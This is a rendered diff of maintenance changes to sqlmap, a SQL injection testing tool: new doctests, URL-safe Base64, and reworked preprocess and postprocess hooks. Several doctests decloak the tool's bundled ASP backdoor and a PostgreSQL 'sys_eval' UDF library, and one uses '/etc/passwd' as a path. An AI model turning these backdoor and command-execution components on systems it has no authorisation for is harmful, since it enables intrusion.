>>> "_etc_passwd" in dataToOutFile("/etc/passwd", b":::*")
|
||||||
|
True
|
||||||
|
>>> conf.filePath = popValue()
|
||||||
|
"""
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
|
|
||||||
if data:
|
if data:
|
||||||
@@ -1347,7 +1359,7 @@ def banner():
|
|||||||
if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
|
if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
|
||||||
result = BANNER
|
result = BANNER
|
||||||
|
|
||||||
if not IS_TTY or "--disable-coloring" in sys.argv:
|
if not IS_TTY or any(_ in sys.argv for _ in ("--disable-coloring", "--disable-colouring")):
|
||||||
result = clearColors(result)
|
result = clearColors(result)
|
||||||
elif IS_WIN:
|
elif IS_WIN:
|
||||||
coloramainit()
|
coloramainit()
|
||||||
@@ -1713,6 +1725,11 @@ def escapeJsonValue(value):
|
|||||||
Escapes JSON value (used in payloads)
|
Escapes JSON value (used in payloads)
|
||||||
|
|
||||||
# Reference: https://stackoverflow.com/a/16652683
|
# Reference: https://stackoverflow.com/a/16652683
|
||||||
|
|
||||||
|
>>> "\\n" in escapeJsonValue("foo\\nbar")
|
||||||
|
False
|
||||||
|
>>> "\\\\t" in escapeJsonValue("foo\\tbar")
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = ""
|
retVal = ""
|
||||||
@@ -1887,6 +1904,12 @@ def getLocalIP():
|
|||||||
def getRemoteIP():
|
def getRemoteIP():
|
||||||
"""
|
"""
|
||||||
Get remote/target IP address
|
Get remote/target IP address
|
||||||
|
|
||||||
|
>>> pushValue(conf.hostname)
|
||||||
|
>>> conf.hostname = "localhost"
|
||||||
|
>>> getRemoteIP() == "127.0.0.1"
|
||||||
|
True
|
||||||
|
>>> conf.hostname = popValue()
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
@@ -2013,6 +2036,9 @@ def normalizePath(filepath):
|
|||||||
def safeFilepathEncode(filepath):
|
def safeFilepathEncode(filepath):
|
||||||
"""
|
"""
|
||||||
Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading)
|
Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading)
|
||||||
|
|
||||||
|
>>> 'sqlmap' in safeFilepathEncode(paths.SQLMAP_HOME_PATH)
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = filepath
|
retVal = filepath
|
||||||
@@ -2219,6 +2245,15 @@ def isHexEncodedString(subject):
|
|||||||
def isMultiThreadMode():
|
def isMultiThreadMode():
|
||||||
"""
|
"""
|
||||||
Checks if running in multi-thread(ing) mode
|
Checks if running in multi-thread(ing) mode
|
||||||
|
|
||||||
|
>>> isMultiThreadMode()
|
||||||
|
False
|
||||||
|
>>> _ = lambda: time.sleep(0.1)
|
||||||
|
>>> thread = threading.Thread(target=_)
|
||||||
|
>>> thread.daemon = True
|
||||||
|
>>> thread.start()
|
||||||
|
>>> isMultiThreadMode()
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return threading.activeCount() > 1
|
return threading.activeCount() > 1
|
||||||
@@ -2227,6 +2262,9 @@ def isMultiThreadMode():
|
|||||||
def getConsoleWidth(default=80):
|
def getConsoleWidth(default=80):
|
||||||
"""
|
"""
|
||||||
Returns console width
|
Returns console width
|
||||||
|
|
||||||
|
>>> any((getConsoleWidth(), True))
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
width = None
|
width = None
|
||||||
@@ -2433,6 +2471,9 @@ def initCommonOutputs():
|
|||||||
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
|
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
|
||||||
"""
|
"""
|
||||||
Returns newline delimited items contained inside file
|
Returns newline delimited items contained inside file
|
||||||
|
|
||||||
|
>>> "SELECT" in getFileItems(paths.SQL_KEYWORDS)
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = list() if not unique else OrderedDict()
|
retVal = list() if not unique else OrderedDict()
|
||||||
@@ -2539,8 +2580,8 @@ def goGoodSamaritan(prevValue, originalCharset):
|
|||||||
|
|
||||||
def getPartRun(alias=True):
|
def getPartRun(alias=True):
|
||||||
"""
|
"""
|
||||||
Goes through call stack and finds constructs matching conf.dbmsHandler.*.
|
Goes through call stack and finds constructs matching
|
||||||
Returns it or its alias used in 'txt/common-outputs.txt'
|
conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
@@ -3391,7 +3432,7 @@ def setOptimize():
|
|||||||
|
|
||||||
# conf.predictOutput = True
|
# conf.predictOutput = True
|
||||||
conf.keepAlive = True
|
conf.keepAlive = True
|
||||||
conf.threads = 3 if conf.threads < 3 else conf.threads
|
conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
|
||||||
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
|
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
|
||||||
|
|
||||||
if not conf.nullConnection:
|
if not conf.nullConnection:
|
||||||
@@ -4733,7 +4774,7 @@ def serializeObject(object_):
|
|||||||
"""
|
"""
|
||||||
Serializes given object
|
Serializes given object
|
||||||
|
|
||||||
>>> type(serializeObject([1, 2, 3, ('a', 'b')])) == six.binary_type
|
>>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str
|
||||||
True
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -4963,6 +5004,14 @@ def decloakToTemp(filename):
|
|||||||
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
|
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
|
||||||
True
|
True
|
||||||
>>> os.remove(_)
|
>>> os.remove(_)
|
||||||
|
>>> _ = decloakToTemp(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_"))
|
||||||
|
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
|
||||||
|
True
|
||||||
|
>>> os.remove(_)
|
||||||
|
>>> _ = decloakToTemp(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_"))
|
||||||
|
>>> b'sys_eval' in openFile(_, "rb", encoding=None).read()
|
||||||
|
True
|
||||||
|
>>> os.remove(_)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
content = decloak(filename)
|
content = decloak(filename)
|
||||||
@@ -4996,6 +5045,12 @@ def getRequestHeader(request, name):
|
|||||||
Solving an issue with an urllib2 Request header case sensitivity
|
Solving an issue with an urllib2 Request header case sensitivity
|
||||||
|
|
||||||
# Reference: http://bugs.python.org/issue2275
|
# Reference: http://bugs.python.org/issue2275
|
||||||
|
|
||||||
|
>>> _ = lambda _: _
|
||||||
|
>>> _.headers = {"FOO": "BAR"}
|
||||||
|
>>> _.header_items = lambda: _.headers.items()
|
||||||
|
>>> getText(getRequestHeader(_, "foo"))
|
||||||
|
'BAR'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
@@ -5093,6 +5148,13 @@ def pollProcess(process, suppress_errors=False):
|
|||||||
def parseRequestFile(reqFile, checkParams=True):
|
def parseRequestFile(reqFile, checkParams=True):
|
||||||
"""
|
"""
|
||||||
Parses WebScarab and Burp logs and adds results to the target URL list
|
Parses WebScarab and Burp logs and adds results to the target URL list
|
||||||
|
|
||||||
|
>>> handle, reqFile = tempfile.mkstemp(suffix=".req")
|
||||||
|
>>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n"
|
||||||
|
>>> _ = os.write(handle, content)
|
||||||
|
>>> os.close(handle)
|
||||||
|
>>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com')))
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def _parseWebScarabLog(content):
|
def _parseWebScarabLog(content):
|
||||||
@@ -5235,7 +5297,7 @@ def parseRequestFile(reqFile, checkParams=True):
|
|||||||
params = True
|
params = True
|
||||||
|
|
||||||
# Avoid proxy and connection type related headers
|
# Avoid proxy and connection type related headers
|
||||||
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
|
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH):
|
||||||
headers.append((getUnicode(key), getUnicode(value)))
|
headers.append((getUnicode(key), getUnicode(value)))
|
||||||
|
|
||||||
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
|
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
|
||||||
|
|||||||
+38
-6
@@ -48,16 +48,16 @@ def base64pickle(value):
|
|||||||
retVal = None
|
retVal = None
|
||||||
|
|
||||||
try:
|
try:
|
||||||
retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL))
|
retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False)
|
||||||
except:
|
except:
|
||||||
warnMsg = "problem occurred while serializing "
|
warnMsg = "problem occurred while serializing "
|
||||||
warnMsg += "instance of a type '%s'" % type(value)
|
warnMsg += "instance of a type '%s'" % type(value)
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
retVal = encodeBase64(pickle.dumps(value))
|
retVal = encodeBase64(pickle.dumps(value), binary=False)
|
||||||
except:
|
except:
|
||||||
retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL))
|
retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -198,6 +198,8 @@ def decodeBase64(value, binary=True, encoding=None):
|
|||||||
True
|
True
|
||||||
>>> decodeBase64("MTIz", binary=False)
|
>>> decodeBase64("MTIz", binary=False)
|
||||||
'123'
|
'123'
|
||||||
|
>>> decodeBase64("A-B_CDE") == decodeBase64("A+B/CDE")
|
||||||
|
True
|
||||||
>>> decodeBase64(b"MTIzNA") == b"1234"
|
>>> decodeBase64(b"MTIzNA") == b"1234"
|
||||||
True
|
True
|
||||||
>>> decodeBase64("MTIzNA") == b"1234"
|
>>> decodeBase64("MTIzNA") == b"1234"
|
||||||
@@ -206,12 +208,22 @@ def decodeBase64(value, binary=True, encoding=None):
|
|||||||
True
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if value is None:
|
||||||
|
return None
|
||||||
|
|
||||||
padding = b'=' if isinstance(value, bytes) else '='
|
padding = b'=' if isinstance(value, bytes) else '='
|
||||||
|
|
||||||
# Reference: https://stackoverflow.com/a/49459036
|
# Reference: https://stackoverflow.com/a/49459036
|
||||||
if not value.endswith(padding):
|
if not value.endswith(padding):
|
||||||
value += 3 * padding
|
value += 3 * padding
|
||||||
|
|
||||||
|
# Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
|
||||||
|
# Reference: https://perldoc.perl.org/MIME/Base64.html
|
||||||
|
if isinstance(value, bytes):
|
||||||
|
value = value.replace(b'-', b'+').replace(b'_', b'/')
|
||||||
|
else:
|
||||||
|
value = value.replace('-', '+').replace('_', '/')
|
||||||
|
|
||||||
retVal = base64.b64decode(value)
|
retVal = base64.b64decode(value)
|
||||||
|
|
||||||
if not binary:
|
if not binary:
|
||||||
@@ -219,16 +231,23 @@ def decodeBase64(value, binary=True, encoding=None):
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def encodeBase64(value, binary=True, encoding=None):
|
def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False):
|
||||||
"""
|
"""
|
||||||
Returns a decoded representation of provided Base64 value
|
Returns a decoded representation of provided Base64 value
|
||||||
|
|
||||||
>>> encodeBase64(b"123") == b"MTIz"
|
>>> encodeBase64(b"123") == b"MTIz"
|
||||||
True
|
True
|
||||||
>>> encodeBase64(u"123", binary=False)
|
>>> encodeBase64(u"1234", binary=False)
|
||||||
'MTIz'
|
'MTIzNA=='
|
||||||
|
>>> encodeBase64(u"1234", binary=False, padding=False)
|
||||||
|
'MTIzNA'
|
||||||
|
>>> encodeBase64(decodeBase64("A-B_CDE"), binary=False, safe=True)
|
||||||
|
'A-B_CDE'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if value is None:
|
||||||
|
return None
|
||||||
|
|
||||||
if isinstance(value, six.text_type):
|
if isinstance(value, six.text_type):
|
||||||
value = value.encode(encoding or UNICODE_ENCODING)
|
value = value.encode(encoding or UNICODE_ENCODING)
|
||||||
|
|
||||||
@@ -237,6 +256,19 @@ def encodeBase64(value, binary=True, encoding=None):
|
|||||||
if not binary:
|
if not binary:
|
||||||
retVal = getText(retVal, encoding)
|
retVal = getText(retVal, encoding)
|
||||||
|
|
||||||
|
if safe:
|
||||||
|
padding = False
|
||||||
|
|
||||||
|
# Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
|
||||||
|
# Reference: https://perldoc.perl.org/MIME/Base64.html
|
||||||
|
if isinstance(retVal, bytes):
|
||||||
|
retVal = retVal.replace(b'+', b'-').replace(b'/', b'_')
|
||||||
|
else:
|
||||||
|
retVal = retVal.replace('+', '-').replace('/', '_')
|
||||||
|
|
||||||
|
if not padding:
|
||||||
|
retVal = retVal.rstrip(b'=' if isinstance(retVal, bytes) else '=')
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def getBytes(value, encoding=None, errors="strict", unsafe=True):
|
def getBytes(value, encoding=None, errors="strict", unsafe=True):
|
||||||
|
|||||||
+10
-7
@@ -39,16 +39,19 @@ def cachedmethod(f):
|
|||||||
|
|
||||||
@functools.wraps(f)
|
@functools.wraps(f)
|
||||||
def _f(*args, **kwargs):
|
def _f(*args, **kwargs):
|
||||||
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
with _cache_lock:
|
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
|
||||||
result = _cache[f][key]
|
except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value)
|
||||||
except KeyError:
|
|
||||||
result = f(*args, **kwargs)
|
result = f(*args, **kwargs)
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
with _cache_lock:
|
||||||
|
result = _cache[f][key]
|
||||||
|
except KeyError:
|
||||||
|
result = f(*args, **kwargs)
|
||||||
|
|
||||||
with _cache_lock:
|
with _cache_lock:
|
||||||
_cache[f][key] = result
|
_cache[f][key] = result
|
||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
|||||||
+1
-1
@@ -241,7 +241,7 @@ class Dump(object):
|
|||||||
lines = "-" * (int(maxlength) + 2)
|
lines = "-" * (int(maxlength) + 2)
|
||||||
|
|
||||||
for db, tables in dbTables.items():
|
for db, tables in dbTables.items():
|
||||||
tables.sort()
|
tables = sorted(filter(None, tables))
|
||||||
|
|
||||||
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
|
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
|
||||||
|
|
||||||
|
|||||||
+2
-1
@@ -177,7 +177,7 @@ class HASH(object):
|
|||||||
SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
|
SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
|
||||||
CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
|
CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
|
||||||
JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
|
JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
|
||||||
WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z'
|
PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z'
|
||||||
APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
||||||
UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
||||||
APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z'
|
APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z'
|
||||||
@@ -239,6 +239,7 @@ class HTTP_HEADER(object):
|
|||||||
EXPIRES = "Expires"
|
EXPIRES = "Expires"
|
||||||
HOST = "Host"
|
HOST = "Host"
|
||||||
IF_MODIFIED_SINCE = "If-Modified-Since"
|
IF_MODIFIED_SINCE = "If-Modified-Since"
|
||||||
|
IF_NONE_MATCH = "If-None-Match"
|
||||||
LAST_MODIFIED = "Last-Modified"
|
LAST_MODIFIED = "Last-Modified"
|
||||||
LOCATION = "Location"
|
LOCATION = "Location"
|
||||||
PRAGMA = "Pragma"
|
PRAGMA = "Pragma"
|
||||||
|
|||||||
+100
-16
@@ -825,7 +825,7 @@ def _setTamperingFunctions():
|
|||||||
|
|
||||||
def _setPreprocessFunctions():
|
def _setPreprocessFunctions():
|
||||||
"""
|
"""
|
||||||
Loads preprocess functions from given script(s)
|
Loads preprocess function(s) from given script(s)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if conf.preprocess:
|
if conf.preprocess:
|
||||||
@@ -870,17 +870,95 @@ def _setPreprocessFunctions():
|
|||||||
raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
|
raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
|
||||||
|
|
||||||
for name, function in inspect.getmembers(module, inspect.isfunction):
|
for name, function in inspect.getmembers(module, inspect.isfunction):
|
||||||
if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
|
try:
|
||||||
|
if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)):
|
||||||
|
found = True
|
||||||
|
|
||||||
|
kb.preprocessFunctions.append(function)
|
||||||
|
function.__name__ = module.__name__
|
||||||
|
|
||||||
|
break
|
||||||
|
except ValueError: # Note: https://github.com/sqlmapproject/sqlmap/issues/4357
|
||||||
|
pass
|
||||||
|
|
||||||
|
if not found:
|
||||||
|
errMsg = "missing function 'preprocess(req)' "
|
||||||
|
errMsg += "in preprocess script '%s'" % script
|
||||||
|
raise SqlmapGenericException(errMsg)
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
function(_urllib.request.Request("http://localhost"))
|
||||||
|
except:
|
||||||
|
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
|
||||||
|
os.close(handle)
|
||||||
|
|
||||||
|
openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(req):\n pass\n")
|
||||||
|
openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
|
||||||
|
|
||||||
|
errMsg = "function 'preprocess(req)' "
|
||||||
|
errMsg += "in preprocess script '%s' " % script
|
||||||
|
errMsg += "appears to be invalid "
|
||||||
|
errMsg += "(Note: find template script at '%s')" % filename
|
||||||
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
|
def _setPostprocessFunctions():
|
||||||
|
"""
|
||||||
|
Loads postprocess function(s) from given script(s)
|
||||||
|
"""
|
||||||
|
|
||||||
|
if conf.postprocess:
|
||||||
|
for script in re.split(PARAMETER_SPLITTING_REGEX, conf.postprocess):
|
||||||
|
found = False
|
||||||
|
function = None
|
||||||
|
|
||||||
|
script = safeFilepathEncode(script.strip())
|
||||||
|
|
||||||
|
try:
|
||||||
|
if not script:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if not os.path.exists(script):
|
||||||
|
errMsg = "postprocess script '%s' does not exist" % script
|
||||||
|
raise SqlmapFilePathException(errMsg)
|
||||||
|
|
||||||
|
elif not script.endswith(".py"):
|
||||||
|
errMsg = "postprocess script '%s' should have an extension '.py'" % script
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
except UnicodeDecodeError:
|
||||||
|
errMsg = "invalid character provided in option '--postprocess'"
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
|
dirname, filename = os.path.split(script)
|
||||||
|
dirname = os.path.abspath(dirname)
|
||||||
|
|
||||||
|
infoMsg = "loading postprocess module '%s'" % filename[:-3]
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if not os.path.exists(os.path.join(dirname, "__init__.py")):
|
||||||
|
errMsg = "make sure that there is an empty file '__init__.py' "
|
||||||
|
errMsg += "inside of postprocess scripts directory '%s'" % dirname
|
||||||
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
|
if dirname not in sys.path:
|
||||||
|
sys.path.insert(0, dirname)
|
||||||
|
|
||||||
|
try:
|
||||||
|
module = __import__(safeFilepathEncode(filename[:-3]))
|
||||||
|
except Exception as ex:
|
||||||
|
raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
|
||||||
|
|
||||||
|
for name, function in inspect.getmembers(module, inspect.isfunction):
|
||||||
|
if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
|
||||||
found = True
|
found = True
|
||||||
|
|
||||||
kb.preprocessFunctions.append(function)
|
kb.postprocessFunctions.append(function)
|
||||||
function.__name__ = module.__name__
|
function.__name__ = module.__name__
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
if not found:
|
if not found:
|
||||||
errMsg = "missing function 'preprocess(page, headers=None, code=None)' "
|
errMsg = "missing function 'postprocess(page, headers=None, code=None)' "
|
||||||
errMsg += "in preprocess script '%s'" % script
|
errMsg += "in postprocess script '%s'" % script
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
else:
|
else:
|
||||||
try:
|
try:
|
||||||
@@ -889,11 +967,11 @@ def _setPreprocessFunctions():
|
|||||||
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
|
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
|
||||||
os.close(handle)
|
os.close(handle)
|
||||||
|
|
||||||
open(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(page, headers=None, code=None):\n return page, headers, code\n")
|
openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n")
|
||||||
open(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
|
openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
|
||||||
|
|
||||||
errMsg = "function 'preprocess(page, headers=None, code=None)' "
|
errMsg = "function 'postprocess(page, headers=None, code=None)' "
|
||||||
errMsg += "in preprocess script '%s' " % script
|
errMsg += "in postprocess script '%s' " % script
|
||||||
errMsg += "should return a tuple '(page, headers, code)' "
|
errMsg += "should return a tuple '(page, headers, code)' "
|
||||||
errMsg += "(Note: find template script at '%s')" % filename
|
errMsg += "(Note: find template script at '%s')" % filename
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
@@ -982,7 +1060,7 @@ def _setHTTPHandlers():
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
with kb.locks.handlers:
|
with kb.locks.handlers:
|
||||||
if conf.proxyList is not None:
|
if conf.proxyList:
|
||||||
conf.proxy = conf.proxyList[0]
|
conf.proxy = conf.proxyList[0]
|
||||||
conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1]
|
conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1]
|
||||||
|
|
||||||
@@ -1450,8 +1528,8 @@ def _createHomeDirectories():
|
|||||||
if conf.get("purge"):
|
if conf.get("purge"):
|
||||||
return
|
return
|
||||||
|
|
||||||
for context in "output", "history":
|
for context in ("output", "history"):
|
||||||
directory = paths["SQLMAP_%s_PATH" % context.upper()]
|
directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()] # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363
|
||||||
try:
|
try:
|
||||||
if not os.path.isdir(directory):
|
if not os.path.isdir(directory):
|
||||||
os.makedirs(directory)
|
os.makedirs(directory)
|
||||||
@@ -1762,6 +1840,8 @@ def _cleanupOptions():
|
|||||||
if not regex:
|
if not regex:
|
||||||
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
|
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
|
||||||
conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
|
conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
|
||||||
|
else:
|
||||||
|
conf.exclude = re.sub(r"(\w+)\$", r"\g<1>\$", conf.exclude)
|
||||||
|
|
||||||
if conf.binaryFields:
|
if conf.binaryFields:
|
||||||
conf.binaryFields = conf.binaryFields.replace(" ", "")
|
conf.binaryFields = conf.binaryFields.replace(" ", "")
|
||||||
@@ -1856,6 +1936,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.arch = None
|
kb.arch = None
|
||||||
kb.authHeader = None
|
kb.authHeader = None
|
||||||
kb.bannerFp = AttribDict()
|
kb.bannerFp = AttribDict()
|
||||||
|
kb.base64Originals = {}
|
||||||
kb.binaryField = False
|
kb.binaryField = False
|
||||||
kb.browserVerification = None
|
kb.browserVerification = None
|
||||||
|
|
||||||
@@ -2008,10 +2089,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.skipSeqMatcher = False
|
kb.skipSeqMatcher = False
|
||||||
kb.smokeMode = False
|
kb.smokeMode = False
|
||||||
kb.reduceTests = None
|
kb.reduceTests = None
|
||||||
kb.tlsSNI = {}
|
kb.sslSuccess = False
|
||||||
kb.stickyDBMS = False
|
kb.stickyDBMS = False
|
||||||
kb.storeHashesChoice = None
|
kb.storeHashesChoice = None
|
||||||
kb.suppressResumeInfo = False
|
kb.suppressResumeInfo = False
|
||||||
|
kb.tableExistsChoice = None
|
||||||
kb.tableFrom = None
|
kb.tableFrom = None
|
||||||
kb.technique = None
|
kb.technique = None
|
||||||
kb.tempDir = None
|
kb.tempDir = None
|
||||||
@@ -2021,7 +2103,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.testType = None
|
kb.testType = None
|
||||||
kb.threadContinue = True
|
kb.threadContinue = True
|
||||||
kb.threadException = False
|
kb.threadException = False
|
||||||
kb.tableExistsChoice = None
|
kb.tlsSNI = {}
|
||||||
kb.uChar = NULL
|
kb.uChar = NULL
|
||||||
kb.udfFail = False
|
kb.udfFail = False
|
||||||
kb.unionDuplicates = False
|
kb.unionDuplicates = False
|
||||||
@@ -2036,6 +2118,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
|
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
|
||||||
kb.normalizeCrawlingChoice = None
|
kb.normalizeCrawlingChoice = None
|
||||||
kb.passwordMgr = None
|
kb.passwordMgr = None
|
||||||
|
kb.postprocessFunctions = []
|
||||||
kb.preprocessFunctions = []
|
kb.preprocessFunctions = []
|
||||||
kb.skipVulnHost = None
|
kb.skipVulnHost = None
|
||||||
kb.storeCrawlingChoice = None
|
kb.storeCrawlingChoice = None
|
||||||
@@ -2062,11 +2145,11 @@ def _useWizardInterface():
|
|||||||
message = "Please enter full target URL (-u): "
|
message = "Please enter full target URL (-u): "
|
||||||
conf.url = readInput(message, default=None)
|
conf.url = readInput(message, default=None)
|
||||||
|
|
||||||
message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST)
|
message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
|
||||||
conf.data = readInput(message, default=None)
|
conf.data = readInput(message, default=None)
|
||||||
|
|
||||||
if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url):
|
if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url):
|
||||||
warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST)
|
